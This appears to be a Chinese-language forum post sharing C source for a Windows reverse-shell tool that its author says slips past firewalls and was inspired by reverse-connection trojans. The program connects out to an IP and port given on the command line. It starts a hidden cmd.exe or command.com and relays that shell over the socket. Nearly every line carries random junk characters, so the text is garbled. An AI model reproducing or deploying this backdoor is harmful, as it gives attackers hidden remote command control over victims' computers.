这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
u> %r(
EJNj.c-#
/* ============================== ~bWqoJ;Q
Rebound port in Windows NT ;KbnaUAS8
By wind,2006/7 w(k7nGU]
===============================*/ {t;Q#Ou.
#include lmz{,O
#include k(3s^B
uY5f mM9
#pragma comment(lib,"wsock32.lib") aL-V 9y
QtW5;A-h
void OutputShell(); /ZvNgaH5M
SOCKET sClient; 13}=;4O
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~g;(`g
ePrbG4xv
void main(int argc,char **argv) .Xg%><{~
{ OE}L})"
WSADATA stWsaData; s<sqO,!
int nRet; a^)7&|$ E
SOCKADDR_IN stSaiClient,stSaiServer; L&Qdb xn
UY+~,a
if(argc != 3) 7: J6 F
{ &dbX>u q
printf("Useage:\n\rRebound DestIP DestPort\n"); $*MjNj2
return; }u5 Mexs
} z ,P:i$
ZBJ.dK?Ky|
WSAStartup(MAKEWORD(2,2),&stWsaData); j0kEi+!TVq
P=KOw;bs
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L_<&oq
}zlvs
a+
stSaiClient.sin_family = AF_INET; dGQy=T:
stSaiClient.sin_port = htons(0); VrQw;-rQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Wa2V Z
TAi
|]U!
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wAVO%8u
{ H-1@z$p
printf("Bind Socket Failed!\n"); Ts}5Nk8%
return; 1&i!92:E
} P+%O]v1 Ob
VEwv22'
stSaiServer.sin_family = AF_INET; x1|5q/I
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oQjh?vm
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pn{.oXomf
$qP9EZ]JC
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s,]6Lri`\
{ 6$%]p1"!K
printf("Connect Error!"); jQ%}e"
return; !r.X. C
} .: 87B=
OutputShell(); K%2,z3ps
} e@L+z
n`vqCO7@'
void OutputShell() f2uog$Hk
{ v9x $`
char szBuff[1024]; +ulX(u(,
SECURITY_ATTRIBUTES stSecurityAttributes; pZlBpGQf
OSVERSIONINFO stOsversionInfo; %vxd($Ti"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Q#hanh_`
STARTUPINFO stStartupInfo; P]yER9'
char *szShell; _&19OD%
PROCESS_INFORMATION stProcessInformation; l1gAm #
unsigned long lBytesRead; rv9qF |2r{
sOzjViv
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )n5]+VTZ5
N95"dNZE
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dK|MQ <
stSecurityAttributes.lpSecurityDescriptor = 0; [0m'a\YE9
stSecurityAttributes.bInheritHandle = TRUE; o:f=dBmoX
h'MX{Wm.
}1:jM_H)k
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); feQ_dA q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o!sxfJKl
rYJt;/RtR}
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $Z.c9rY1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O4]Ss}ol
stStartupInfo.wShowWindow = SW_HIDE; Q\m"n^XN
stStartupInfo.hStdInput = hReadPipe; 5NJ@mm{0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E36<Wog
wW6?.}2zU
GetVersionEx(&stOsversionInfo); !xj >~7
ZH0 ~:
switch(stOsversionInfo.dwPlatformId) " &p\pR~
{ i*.Z~$
case 1: L L9I:^
szShell = "command.com"; 8%arA"#S
break; \8ulX>]
default: xotq$r
szShell = "cmd.exe"; M}(4>W
break; QTcngv[
} ;9,Ll%Lk<
?9mWMf%t
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &y3_>!L
4)/tCv
send(sClient,szMsg,77,0); @U}fvdft
while(1) ]L}<Y9)t
{ a[lE9JA;|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F]M3/M
if(lBytesRead) &e cf5jFy
{ #)my)}o\p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ds5<4SLj
send(sClient,szBuff,lBytesRead,0); -S)HB$8
} :bLGDEC
else Da?0B9'
{ }gag?yQ.^
lBytesRead=recv(sClient,szBuff,1024,0);
Y($"i<rN
if(lBytesRead<=0) break; /e4hB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Qy0bp;V/
} C
[=/40D
} ZSKk*<=
b:Rl }"a
return; #/\FB'zC
}